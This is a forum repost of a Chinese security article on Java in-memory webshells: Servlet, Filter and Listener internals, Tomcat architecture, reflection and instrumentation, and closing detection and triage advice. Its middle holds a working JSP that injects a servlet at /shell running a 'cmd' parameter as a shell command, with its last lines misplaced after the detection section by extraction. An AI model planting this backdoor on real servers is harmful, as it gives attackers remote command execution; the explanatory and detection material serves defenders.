搜索

[16928] 2021-06-20_一文看懂内存马

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2021-06-20_一文看懂内存马 一 文 看 懂 内 存 马 l e x 1 9 9 3   F r e e B u f   2 0 2 1 - 0 6 - 2 0 一 、 内 存 马 简 介 一 、 内 存 马 简 介 1 . 1   w e b s h e l l 变 迁 变 迁 w e b s h e l l 的 变 迁 过 程 大 致 如 下 所 述 ： w e b 服 务 器 管 理 页 面 — — >   大 马 — — > 小 马 拉 大 马 — — > 一 句 话 木 马 — — > 加 密 一 句 话 木 马 — — > 加 密 内 存 马 内 存 马 是 无 文 件 攻 击 的 一 种 常 用 手 段 ， 随 着 攻 防 演 练 热 度 越 来 越 高 ： 攻 防 双 方 的 博 弈 ， 流 量 分 析 、 E D R 等 专 业 安 全 设 备 被 蓝 方 广 泛 使 用 ， 传 统 的 文 件 上 传 的 w e b s h l l 或 以 文 件 形 式 驻 留 的 后 门 越 来 越 容 易 被 检 测 到 ， 内 存 马 使 用 越 来 越 多 。 W e b s h e l l 内 存 马 ， 是 在 内 存 中 写 入 恶 意 后 门 和 木 马 并 执 行 ， 达 到 远 程 控 制 W e b 服 务 器 的 一 类 内 存 马 ， 其 瞄 准 了 企 业 的 对 外 窗 口 ： 网 站 、 应 用 。 但 传 统 的 W e b s h e l l 都 是 基 于 文 件 类 型 的 ， 黑 客 可 以 利 用 上 传 工 具 或 网 站 漏 洞 植 入 木 马 ， 区 别 在 于 W e b s h e l l 内 存 马 是 无 文 件 马 ， 利 用 中 间 件 的 进 程 执 行 某 些 恶 意 代 码 ， 不 会 有 文 件 落 地 ， 给 检 测 带 来 巨 大 难 度 。 1 . 2   如 何 实 现 如 何 实 现 w e b s h e l l 内 存 马 内 存 马 目 标 ： 访 问 任 意 u r l 或 者 指 定 u r l ， 带 上 命 令 执 行 参 数 ， 即 可 让 服 务 器 返 回 命 令 执 行 结 果 实 现 ： 以 j a v a 为 例 ， 客 户 端 发 起 的 w e b 请 求 会 依 次 经 过 L i s t e n e r 、 F i l t e r 、 S e r v l e t 三 个 组 件 ， 我 们 只 要 在 这 个 请 求 的 过 程 中 做 手 脚 ， 在 内 存 中 修 改 已 有 的 组 件 或 者 动 态 注 册 一 个 新 的 组 件 ， 插 入 恶 意 的 s h e l l c o d e ， 就 可 以 达 到 我 们 的 目 的 。 1 . 3   内 存 马 类 型 内 存 马 类 型 根 据 内 存 马 注 入 的 方 式 ， 大 致 可 以 将 内 存 马 划 分 为 如 下 两 类 1 . s e r v l e t - a p i 型 通 过 命 令 执 行 等 方 式 动 态 注 册 一 个 新 的 l i s t e n e r 、 f i l t e r 或 者 s e r v l e t ， 从 而 实 现 命 令 执 行 等 功 能 。 特 定 框 架 、 容 器 的 内 存 马 原 理 与 此 类 似 ， 如 s p r i n g 的 c o n t r o l l e r 内 存 马 ， t o m c a t 的 v a l v e 内 存 马 2 . 字 节 码 增 强 型 通 过 j a v a 的 i n s t r u m e n t a t i o n 动 态 修 改 已 有 代 码 ， 进 而 实 现 命 令 执 行 等 功 能 。 二 、 背 景 知 识 二 、 背 景 知 识 2 . 1   J a v a   w e b 三 大 件 三 大 件 2 . 1 . 1   S e r v l e t 1 . 什 么 是 什 么 是 s e r v l e t S e r v l e t   是 运 行 在   W e b   服 务 器 或 应 用 服 务 器 上 的 程 序 ， 它 是 作 为 来 自   H T T P   客 户 端 的 请 求 和   H T T P   服 务 器 上 的 数 据 库 或 应 用 程 序 之 间 的 中 间 层 。 它 负 责 处 理 用 户 的 请 求 ， 并 根 据 请 求 生 成 相 应 的 返 回 信 息 提 供 给 用 户 。 2 . 请 求 的 处 理 过 程 请 求 的 处 理 过 程 客 户 端 发 起 一 个 h t t p 请 求 ， 比 如 g e t 类 型 。 S e r v l e t 容 器 接 收 到 请 求 ， 根 据 请 求 信 息 ， 封 装 成 H t t p S e r v l e t R e q u e s t 和 H t t p S e r v l e t R e s p o n s e 对 象 。 S e r v l e t 容 器 调 用 H t t p S e r v l e t 的 i n i t ( ) 方 法 ， i n i t 方 法 只 在 第 一 次 请 求 的 时 候 被 调 用 。
S e r v l e t 容 器 调 用 s e r v i c e ( ) 方 法 。 s e r v i c e ( ) 方 法 根 据 请 求 类 型 ， 这 里 是 g e t 类 型 ， 分 别 调 用 d o G e t 或 者 d o P o s t 方 法 ， 这 里 调 用 d o G e t 方 法 。 d o X X X 方 法 中 是 我 们 自 己 写 的 业 务 逻 辑 。 业 务 逻 辑 处 理 完 成 之 后 ， 返 回 给 S e r v l e t 容 器 ， 然 后 容 器 将 结 果 返 回 给 客 户 端 。 容 器 关 闭 时 候 ， 会 调 用 d e s t o r y 方 法 3 . s e r v l e t 生 命 周 期 生 命 周 期 1 ） 服 务 器 启 动 时 ( w e b . x m l 中 配 置 l o a d - o n - s t a r t u p = 1 ， 默 认 为 0 ) 或 者 第 一 次 请 求 该 s e r v l e t 时 ， 就 会 初 始 化 一 个 S e r v l e t 对 象 ， 也 就 是 会 执 行 初 始 化 方 法 i n i t ( S e r v l e t C o n f i g   c o n f ) 。 2 ） s e r v l e t 对 象 去 处 理 所 有 客 户 端 请 求 ， 在 s e r v i c e ( S e r v l e t R e q u e s t   r e q ， S e r v l e t R e s p o n s e   r e s ) 方 法 中 执 行 3 ） 服 务 器 关 闭 时 ， 销 毁 这 个 s e r v l e t 对 象 ， 执 行 d e s t r o y ( ) 方 法 。 4 ） 由 J V M 进 行 垃 圾 回 收 。 2 . 1 . 2   F i l t e r 简 介 简 介 f i l t e r 也 称 之 为 过 滤 器 ， 是 对 S e r v l e t 技 术 的 一 个 强 补 充 ， 其 主 要 功 能 是 在 H t t p S e r v l e t R e q u e s t 到 达   S e r v l e t   之 前 ， 拦 截 客 户 的 H t t p S e r v l e t R e q u e s t   ， 根 据 需 要 检 查 H t t p S e r v l e t R e q u e s t ， 也 可 以 修 改 H t t p S e r v l e t R e q u e s t   头 和 数 据 ； 在 H t t p S e r v l e t R e s p o n s e 到 达 客 户 端 之 前 ， 拦 截 H t t p S e r v l e t R e s p o n s e   ， 根 据 需 要 检 查 H t t p S e r v l e t R e s p o n s e ， 也 可 以 修 改 H t t p S e r v l e t R e s p o n s e 头 和 数 据 。 基 本 工 作 原 理 基 本 工 作 原 理 1 、 F i l t e r   程 序 是 一 个 实 现 了 特 殊 接 口 的   J a v a   类 ， 与   S e r v l e t   类 似 ， 也 是 由   S e r v l e t   容 器 进 行 调 用 和 执 行 的 。 2 、 当 在   w e b . x m l   注 册 了 一 个   F i l t e r   来 对 某 个   S e r v l e t   程 序 进 行 拦 截 处 理 时 ， 它 可 以 决 定 是 否 将 请 求 继 续 传 递 给   S e r v l e t   程 序 ， 以 及 对 请 求 和 响 应 消 息 是 否 进 行 修 改 。 3 、 当   S e r v l e t   容 器 开 始 调 用 某 个   S e r v l e t   程 序 时 ， 如 果 发 现 已 经 注 册 了 一 个   F i l t e r   程 序 来 对 该   S e r v l e t   进 行 拦 截 ， 那 么 容 器 不 再 直 接 调 用   S e r v l e t   的   s e r v i c e   方 法 ， 而 是 调 用   F i l t e r   的   d o F i l t e r   方 法 ， 再 由   d o F i l t e r   方 法 决 定 是 否 去 激 活   s e r v i c e   方 法 。 4 、 但 在   F i l t e r . d o F i l t e r   方 法 中 不 能 直 接 调 用   S e r v l e t   的   s e r v i c e   方 法 ， 而 是 调 用   F i l t e r C h a i n . d o F i l t e r   方 法 来 激 活 目 标   S e r v l e t   的   s e r v i c e   方 法 ， F i l t e r C h a i n   对 象 时 通 过   F i l t e r . d o F i l t e r   方 法 的 参 数 传 递 进 来 的 。 5 、 只 要 在   F i l t e r . d o F i l t e r   方 法 中 调 用   F i l t e r C h a i n . d o F i l t e r   方 法 的 语 句 前 后 增 加 某 些 程 序 代 码 ， 这 样 就 可 以 在   S e r v l e t   进 行 响 应 前 后 实 现 某 些 特 殊 功 能 。 6 、 如 果 在   F i l t e r . d o F i l t e r   方 法 中 没 有 调 用   F i l t e r C h a i n . d o F i l t e r   方 法 ， 则 目 标   S e r v l e t   的   s e r v i c e   方 法 不 会 被 执 行 ， 这 样 通 过   F i l t e r   就 可 以 阻 止 某 些 非 法 的 访 问 请 求 。 f i l t e r 的 生 命 周 期 的 生 命 周 期 与 s e r v l e t 一 样 ， F i l t e r 的 创 建 和 销 毁 也 由 w e b 容 器 负 责 。 w e b   应 用 程 序 启 动 时 ， w e b   服 务 器 将 创 建 F i l t e r   的 实 例 对 象 ， 并 调 用 其 i n i t 方 法 ， 读 取 w e b . x m l 配 置 ， 完 成 对 象 的 初 始 化 功 能 ， 从 而 为 后 续 的 用 户 请 求 作 好 拦 截 的 准 备 工 作 （ f i l t e r 对 象 只 会 创 建 一 次 ， i n i t 方 法 也 只 会 执 行 一 次 ） 。 开 发 人 员 通 过 i n i t 方 法 的 参 数 ， 可 获 得 代 表 当 前 f i l t e r 配 置 信 息 的 F i l t e r C o n f i g 对 象 。 F i l t e r 对 象 创 建 后 会 驻 留 在 内 存 ， 当 w e b 应 用 移 除 或 服 务 器 停 止 时 才 销 毁 。 在 W e b 容 器 卸 载   F i l t e r   对 象 之 前 被 调 用 。 该 方 法 在 F i l t e r 的 生 命 周 期 中 仅 执 行 一 次 。 在 这 个 方 法 中 ， 可 以 释 放 过 滤 器 使 用 的 资 源 。 f i l t e r 链 链 当 多 个 f i l t e r 同 时 存 在 的 时 候 ， 组 成 了 f i l t e r 链 。 w e b 服 务 器 根 据 F i l t e r 在 w e b . x m l 文 件 中 的 注 册 顺 序 ， 决 定 先 调 用 哪 个 F i l t e r 。 当 第 一 个 F i l t e r 的 d o F i l t e r 方 法 被 调 用 时 ， w e b 服 务 器 会 创 建 一 个 代 表 F i l t e r 链 的 F i l t e r C h a i n 对 象 传 递 给 该 方 法 ， 通 过 判 断 F i l t e r C h a i n 中 是 否 还 有 f i l t e r 决 定 后 面 是 否 还 调 用 f i l t e r 。 2 . 1 . 3   L i s t e n e r 简 介 J a v a W e b 开 发 中 的 监 听 器 （ L i s t e n e r ） 就 是 A p p l i c a t i o n 、 S e s s i o n 和 R e q u e s t 三 大 对 象 创 建 、 销 毁 或 者 往 其 中 添 加 、 修 改 、 删 除 属 性 时 自 动 执 行 代 码 的 功 能 组 件 。 S e r v l e t C o n t e x t L i s t e n e r ： 对 S e r v l e t 上 下 文 的 创 建 和 销 毁 进 行 监 听 ； S e r v l e t C o n t e x t A t t r i b u t e L i s t e n e r ： 监 听 S e r v l e t 上 下 文 属 性 的 添 加 、 删 除 和 替 换 ； H t t p S e s s i o n L i s t e n e r ： 对 S e s s i o n 的 创 建 和 销 毁 进 行 监 听 。 S e s s i o n 的 销 毁 有 两 种 情 况 ， 一 个 中 S e s s i o n 超 时 ， 还 有 一 种 是 通 过 调 用 S e s s i o n 对 象 的 i n v a l i d a t e ( ) 方 法 使 s e s s i o n 失 效 。 H t t p S e s s i o n A t t r i b u t e L i s t e n e r ： 对 S e s s i o n 对 象 中 属 性 的 添 加 、 删 除 和 替 换 进 行 监 听 ； S e r v l e t R e q u e s t L i s t e n e r ： 对 请 求 对 象 的 初 始 化 和 销 毁 进 行 监 听 ； S e r v l e t R e q u e s t A t t r i b u t e L i s t e n e r ： 对 请 求 对 象 属 性 的 添 加 、 删 除 和 替 换 进 行 监 听 。 用 途 可 以 使 用 监 听 器 监 听 客 户 端 的 请 求 、 服 务 端 的 操 作 等 。 通 过 监 听 器 ， 可 以 自 动 出 发 一 些 动 作 ， 比 如 监 听 在 线 的 用 户 数 量 ， 统 计 网 站 访 问 量 、 网 站 访 问 监 控 等 。 2 . 2 T o m c a t 2 . 2 . 1 简 介 简 介 简 单 理 解 ， t o m c a t 是 h t t p 服 务 器 + s e r v l e t 容 器 。 T o m c a t   作 为 S e r v l e t 容 器 , 将 h t t p 请 求 文 本 接 收 并 解 析 ， 然 后 封 装 成 H t t p S e r v l e t R e q u e s t 类 型 的 r e q u e s t 对 象 ， 传 递 给 s e r v l e t ； 同 时 会 将 响 应 的 信 息 封 装 为 H t t p S e r v l e t R e s p o n s e 类 型 的 r e s p o n s e 对 象 ， 然 后 将 r e s p o n s e 交 给 t o m c a t ， t o m c a t 就 会 将 其 变 成 响 应 文 本 的 格 式 发 送 给 浏 览 器 。
2 . 2 . 2 T o m c a t 架 构 设 计 架 构 设 计 前 面 提 到 过 ， T o m c a t   的 本 质 其 实 就 是 一 个   W E B   服 务 器   +   一 个   S e r v l e t   容 器 ， 那 么 它 必 然 需 要 处 理 网 络 的 连 接 与   S e r v l e t   的 管 理 ， 因 此 ， T o m c a t   设 计 了 两 个 核 心 组 件 来 实 现 这 两 个 功 能 ， 分 别 是 连 接 器 和 容 器 ， 连 接 器 用 来 处 理 外 部 网 络 连 接 ， 容 器 用 来 处 理 内 部   S e r v l e t ， 我 用 一 张 图 来 表 示 它 们 的 关 系 ： 一 个   T o m c a t   代 表 一 个   S e r v e r   服 务 器 ， 一 个   S e r v e r   服 务 器 可 以 包 含 多 个   S e r v i c e   服 务 ， T o m c a t   默 认 的   S e r v i c e   服 务 是   C a t a l i n a ， 而 一 个   S e r v i c e   服 务 可 以 包 含 多 个 连 接 器 ， 因 为   T o m c a t   支 持 多 种 网 络 协 议 ， 包 括   H T T P / 1 . 1 、 H T T P / 2 、 A J P   等 等 ， 一 个   S e r v i c e   服 务 还 会 包 括 一 个 容 器 ， 容 器 外 部 会 有 一 层   E n g i n e   引 擎 所 包 裹 ， 负 责 与 处 理 连 接 器 的 请 求 与 响 应 ， 连 接 器 与 容 器 之 间 通 过 S e r v l e t R e q u e s t   和   S e r v l e t R e s p o n s e   对 象 进 行 交 流 。 一 个 e n g i n e 可 以 对 一 个 多 个 h o s t ， 也 就 是 虚 拟 主 机 ， 一 个 h o s t 可 以 对 应 多 个 c o n t e x t ， 也 就 是 w e b 应 用 ， 一 个 c o n t e x t 对 应 多 个 w r a p p e r ， 也 就 是 s e r v l e t 。 这 个 映 射 关 系 ， 通 过 m a p p e r 组 件 来 关 联 ， m a p p e r 组 件 保 存 了 W e b 应 用 的 配 置 信 息 ， 容 器 组 件 与 访 问 路 径 的 映 射 关 系 。 H o s t 容 器 的 域 名 ， C o n t e x t 容 器 中 的 w e b 路 径 ， W r a p p e r 容 器 中 的 s e r v l e t 映 射 的 路 径 ， 这 些 配 置 信 息 是 多 层 次 的 M a p 。 根 据 请 求 定 位 到 指 定 s e r v l e t 的 流 程 图 如 下 ： 2 . 3   其 他 其 他 j a v a 背 景 知 识 背 景 知 识 2 . 3 . 1   j a v a 反 射 反 射 反 射 提 供 的 功 能 ， 能 在 运 行 时 （ 动 态 ） 的 1 . 获 取 一 个 类 的 所 有 成 员 变 量 和 方 法 2 . 创 建 一 个 类 的 对 象 a . 获 取 对 象 成 员 变 量 & 赋 值 b . 调 用 对 象 的 方 法 c . 判 断 对 象 所 属 的 类 在 注 入 内 存 马 的 过 程 当 中 ， 我 们 可 能 需 要 用 到 反 射 机 制 ， 例 如 注 入 一 个 s e r v l e t 型 的 内 存 马 ， 我 们 需 要 使 用 反 射 机 制 来 获 取 当 前 的 c o n t e x t ， 然 后 将 恶 意 的 s e r v l e t （ w r a p p e r ） 添 加 到 当 前 的 c o n t e x t 的 c h i l d r e n 中 。 在 使 用 J a v a 反 射 机 制 时 ， 主 要 步 骤 包 括 ： ① 获 取   目 标 类 型 的 C l a s s 对 象 ② 通 过   C l a s s   对 象 分 别 获 取 C o n s t r u c t o r 类 对 象 、 M e t h o d 类 对 象   &   F i e l d   类 对 象 ③ 通 过   C o n s t r u c t o r 类 对 象 、 M e t h o d 类 对 象   &   F i e l d 类 对 象 分 别 获 取 类 的 构 造 函 数 、 方 法 & 属 性 的 具 体 信 息 ， 并 进 行 后 续 操 作 2 . 3 . 2   j a v a   i n s t r u m e n t a t i o n I n s t r u m e n t a t i o n 是 J a v a 提 供 的 一 个 来 自 J V M 的 接 口 ， 该 接 口 提 供 了 一 系 列 查 看 和 操 作 J a v a 类 定 义 的 方 法 ， 例 如 修 改 类 的 字 节 码 、 向 c l a s s L o a d e r 的 c l a s s p a t h 下 加 入 j a r 文 件 等 。 使 得 开 发 者 可 以 通 过 J a v a 语 言 来 操 作 和 监 控 J V M 内 部 的 一 些 状 态 ， 进 而 实 现 J a v a 程 序 的 监 控 分 析 ， 甚 至 实 现 一 些 特 殊 功 能 （ 如 A O P 、 热 部 署 ） 。
J a v a   a g e n t 是 一 种 特 殊 的 J a v a 程 序 （ J a r 文 件 ） ， 它 是 I n s t r u m e n t a t i o n 的 客 户 端 。 与 普 通 J a v a 程 序 通 过 m a i n 方 法 启 动 不 同 ， a g e n t 并 不 是 一 个 可 以 单 独 启 动 的 程 序 ， 而 必 须 依 附 在 一 个 J a v a 应 用 程 序 （ J V M ） 上 ， 与 它 运 行 在 同 一 个 进 程 中 ， 通 过 I n s t r u m e n t a t i o n   A P I 与 虚 拟 机 交 互 。 在 注 入 内 存 马 的 过 程 中 ， 我 们 可 以 利 用 j a v a   i n s t r u m e n t a t i o n 机 制 ， 动 态 的 修 改 已 加 载 到 内 存 中 的 类 里 的 方 法 ， 进 而 注 入 恶 意 的 代 码 。 三 、 内 存 马 实 现 三 、 内 存 马 实 现 这 里 我 们 以 t o m c a t 的 s e r v l e t A P I 型 内 存 马 为 例 讲 一 下 内 存 马 的 实 现 。 下 面 的 代 码 先 是 创 建 了 一 个 恶 意 的 s e r v l e t ， 然 后 获 取 当 前 的 S t a n d a r d C o n t e x t ， 然 后 将 恶 意 s e r v l e t 封 装 成 w r a p p e r 添 加 到 S t a n d a r d C o n t e x t 的 c h i l d r e n 当 中 ， 最 后 添 加 S e r v l e t M a p p i n g 将 访 问 的 U R L 和 w r a p p e r 进 行 绑 定 。 < % @   p a g e   i m p o r t = " j a v a . i o . I O E x c e p t i o n "   % > < % @   p a g e   i m p o r t = " j a v a . i o . I n p u t S t r e a m "   % > < % @   p a g e   i m p o r t = " j a v a . u t i l . S c a n n e r "   % > < % @   p a g e   i m p o r t = " o r g . a p a c h e . c a t a l i n a . c o r e . S t a n d a r d C o n t e x t "   % > < % @   p a g e   i m p o r t = " j a v a . i o . P r i n t W r i t e r "   % > < %         / /   创 建 恶 意 S e r v l e t         S e r v l e t   s e r v l e t   =   n e w   S e r v l e t ( )   {                 @ O v e r r i d e                 p u b l i c   v o i d   i n i t ( S e r v l e t C o n f i g   s e r v l e t C o n f i g )   t h r o w s   S e r v l e t E x c e p t i o n   {                 }                 @ O v e r r i d e                 p u b l i c   S e r v l e t C o n f i g   g e t S e r v l e t C o n f i g ( )   {                         r e t u r n   n u l l ;                 }                 @ O v e r r i d e                 p u b l i c   v o i d   s e r v i c e ( S e r v l e t R e q u e s t   s e r v l e t R e q u e s t ,   S e r v l e t R e s p o n s e   s e r v l e t R e s p o n s e )   t h r o w s   S e r v l e t E x c e p t i o n ,   I O E x c e p t i o n   {                         S t r i n g   c m d   =   s e r v l e t R e q u e s t . g e t P a r a m e t e r ( " c m d " ) ;                         b o o l e a n   i s L i n u x   =   t r u e ;                         S t r i n g   o s T y p   =   S y s t e m . g e t P r o p e r t y ( " o s . n a m e " ) ;                         i f   ( o s T y p   ! =   n u l l   & &   o s T y p . t o L o w e r C a s e ( ) . c o n t a i n s ( " w i n " ) )   {                                 i s L i n u x   =   f a l s e ;                         }                         S t r i n g [ ]   c m d s   =   i s L i n u x   ?   n e w   S t r i n g [ ] { " s h " ,   " - c " ,   c m d }   :   n e w   S t r i n g [ ] { " c m d . e x e " ,   " / c " ,   c m d } ;                         I n p u t S t r e a m   i n   =   R u n t i m e . g e t R u n t i m e ( ) . e x e c ( c m d s ) . g e t I n p u t S t r e a m ( ) ;                         S c a n n e r   s   =   n e w   S c a n n e r ( i n ) . u s e D e l i m i t e r ( " a " ) ;                         S t r i n g   o u t p u t   =   s . h a s N e x t ( )   ?   s . n e x t ( )   :   " " ;                         P r i n t W r i t e r   o u t   =   s e r v l e t R e s p o n s e . g e t W r i t e r ( ) ;                         o u t . p r i n t l n ( o u t p u t ) ;                         o u t . f l u s h ( ) ;                         o u t . c l o s e ( ) ;                 }                 @ O v e r r i d e                 p u b l i c   S t r i n g   g e t S e r v l e t I n f o ( )   {                         r e t u r n   n u l l ;                 }                 @ O v e r r i d e                 p u b l i c   v o i d   d e s t r o y ( )   {                 }         } ;         % > < %         / /   获 取 S t a n d a r d C o n t e x t         o r g . a p a c h e . c a t a l i n a . l o a d e r . W e b a p p C l a s s L o a d e r B a s e   w e b a p p C l a s s L o a d e r B a s e   = ( o r g . a p a c h e . c a t a l i n a . l o a d e r . W e b a p p C l a s s L o a d e r B a s e )   T h r e a d . c u r r e n t T h r e a d ( ) . g e t C o n t e x t C l a s s L o a d e r ( ) ;         S t a n d a r d C o n t e x t   s t a n d a r d C t x   =   ( S t a n d a r d C o n t e x t ) w e b a p p C l a s s L o a d e r B a s e . g e t R e s o u r c e s ( ) . g e t C o n t e x t ( ) ;         / /   用 W r a p p e r 对 其 进 行 封 装         o r g . a p a c h e . c a t a l i n a . W r a p p e r   n e w W r a p p e r   =   s t a n d a r d C t x . c r e a t e W r a p p e r ( ) ;         n e w W r a p p e r . s e t N a m e ( " j w e n y " ) ;         n e w W r a p p e r . s e t L o a d O n S t a r t u p ( 1 ) ;         n e w W r a p p e r . s e t S e r v l e t ( s e r v l e t ) ;         n e w W r a p p e r . s e t S e r v l e t C l a s s ( s e r v l e t . g e t C l a s s ( ) . g e t N a m e ( ) ) ;
执 行 上 述 代 码 后 ， 访 问 当 前 应 用 的 / s h e l l 路 径 ， 加 上 c m d 参 数 就 可 以 命 令 执 行 了 。 使 用 新 增 s e r v l e t 的 方 式 就 需 要 绑 定 指 定 的 U R L 。 如 果 我 们 想 要 更 加 隐 蔽 ， 做 到 内 存 马 与 U R L 无 关 ， 无 论 这 个 u r l 是 原 生 s e r v l e t 还 是 某 个 s t r u t s   a c t i o n ， 甚 至 无 论 这 个 u r l 是 否 真 的 存 在 ， 只 要 我 们 的 请 求 传 递 给 t o m c a t ， t o m c a t 就 能 相 应 我 们 的 指 令 ， 那 就 得 通 过 注 入 新 的 或 修 改 已 有 的 f i l t e r 或 者 l i s t e n e r 的 方 式 来 实 现 了 。 比 如 早 期 r e b e y o n d 师 傅 开 发 的 m e m s h e l l ， 就 是 通 过 修 改 o r g . a p a c h e . c a t a l i n a . c o r e . A p p l i c a t i o n F i l t e r C h a i n 类 的 i n t e r n a l D o F i l t e r 方 法 来 实 现 的 ， 后 期 冰 蝎 最 新 版 本 的 内 存 马 为 了 实 现 更 好 的 兼 容 性 ， 选 择 h o o k   j a v a x . s e r v l e t . h t t p . H t t p S e r v l e t # s e r v i c e   函 数 ， 在 w e b l o g i c 选 择 h o o k   w e b l o g i c . s e r v l e t . i n t e r n a l . S e r v l e t S t u b I m p l # e x e c u t e   函 数 。 四 、 内 存 马 检 测 与 排 查 四 、 内 存 马 检 测 与 排 查 4 . 1 源 码 检 测 源 码 检 测 在 j a v a 中 ， 只 有 被 J V M 加 载 后 的 类 才 能 被 调 用 ， 或 者 在 需 要 时 通 过 反 射 通 知 J V M 加 载 。 所 以 特 征 都 在 内 存 中 ， 表 现 形 式 为 被 加 载 的 c l a s s 。 需 要 通 过 某 种 方 法 获 取 到 J V M 的 运 行 时 内 存 中 已 加 载 的 类 ，   J a v a 本 身 提 供 了 I n s t r u m e n t a t i o n 类 来 实 现 运 行 时 注 入 代 码 并 执 行 ， 因 此 产 生 一 个 检 测 思 路 ： 注 入 j a r 包 - >   d u m p 已 加 载 c l a s s 字 节 码 - > 反 编 译 成 j a v a 代 码 - >   源 码 w e b s h e l l 检 测 。 这 样 检 测 比 较 消 耗 性 能 ， 我 们 可 以 缩 小 需 要 进 行 源 码 检 测 的 类 的 范 围 ， 通 过 如 下 的 筛 选 条 件 组 合 使 用 筛 选 类 进 行 检 测 ： ① 新 增 的 或 修 改 的 ； ② 没 有 对 应 c l a s s 文 件 的 ③ x m l 配 置 中 没 注 册 的 ④ 冰 蝎 等 常 见 工 具 使 用 的 ⑤ f i l t e r c h a i n 中 排 第 一 的 f i l t e r 类 还 有 一 些 比 较 弱 的 特 征 可 以 用 来 辅 助 检 测 ， 比 如 类 名 称 中 包 含 s h e l l 或 者 为 随 机 名 ， 使 用 不 常 见 的 c l a s s l o a d e r 加 载 的 类 等 等 。 另 外 ， 有 一 些 工 具 可 以 辅 助 检 测 内 存 马 ， 如 j a v a - m e m s h e l l - s c a n n e r 是 通 过 j s p 扫 描 应 用 中 所 有 的 f i l t e r 和 s e r v l e t ， 然 后 通 过 名 称 、 对 应 的 c l a s s 是 否 存 在 来 判 断 是 否 是 内 存 马 4 . 2   内 存 马 排 查 内 存 马 排 查 如 果 我 们 通 过 检 测 工 具 或 者 其 他 手 段 发 现 了 一 些 内 存 w e b s h e l l 的 痕 迹 ， 需 要 有 一 个 排 查 的 思 路 来 进 行 跟 踪 分 析 ， 也 是 根 据 各 类 型 的 原 理 ， 列 出 一 个 排 查 思 路 。 如 果 是 j s p 注 入 ， 日 志 中 排 查 可 疑 j s p 的 访 问 请 求 。 如 果 是 代 码 执 行 漏 洞 ， 排 查 中 间 件 的 e r r o r . l o g ， 查 看 是 否 有 可 疑 的 报 错 ， 判 断 注 入 时 间 和 方 法 根 据 业 务 使 用 的 组 件 排 查 是 否 可 能 存 在 j a v a 代 码 执 行 漏 洞 以 及 是 否 存 在 过 w e b s h e l l ， 排 查 框 架 漏 洞 ， 反 序 列 化 漏 洞 。 如 果 是 s e r v l e t 或 者 s p r i n g 的 c o n t r o l l e r 类 型 ， 根 据 上 报 的 w e b s h e l l 的 u r l 查 找 日 志 （ 日 志 可 能 被 关 闭 ， 不 一 定 有 ） ， 根 据 u r l 最 早 访 问 时 间 确 定 被 注 入 时 间 。 如 果 是 f i l t e r 或 者 l i s t e n e r 类 型 ， 可 能 会 有 较 多 的 4 0 4 但 是 带 有 参 数 的 请 求 ， 或 者 大 量 请 求 不 同 u r l 但 带 有 相 同 的 参 数 ， 或 者 页 面 并 不 存 在 但 返 回 2 0 0 精 彩 推 荐 精 彩 推 荐         / /   添 加 封 装 后 的 恶 意 W r a p p e r 到 S t a n d a r d C o n t e x t 的 c h i l d r e n 当 中         s t a n d a r d C t x . a d d C h i l d ( n e w W r a p p e r ) ;         / /   添 加 S e r v l e t M a p p i n g 将 访 问 的 U R L 和 S e r v l e t 进 行 绑 定         s t a n d a r d C t x . a d d S e r v l e t M a p p i n g ( " / s h e l l " , " j w e n y " ) ; % >
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理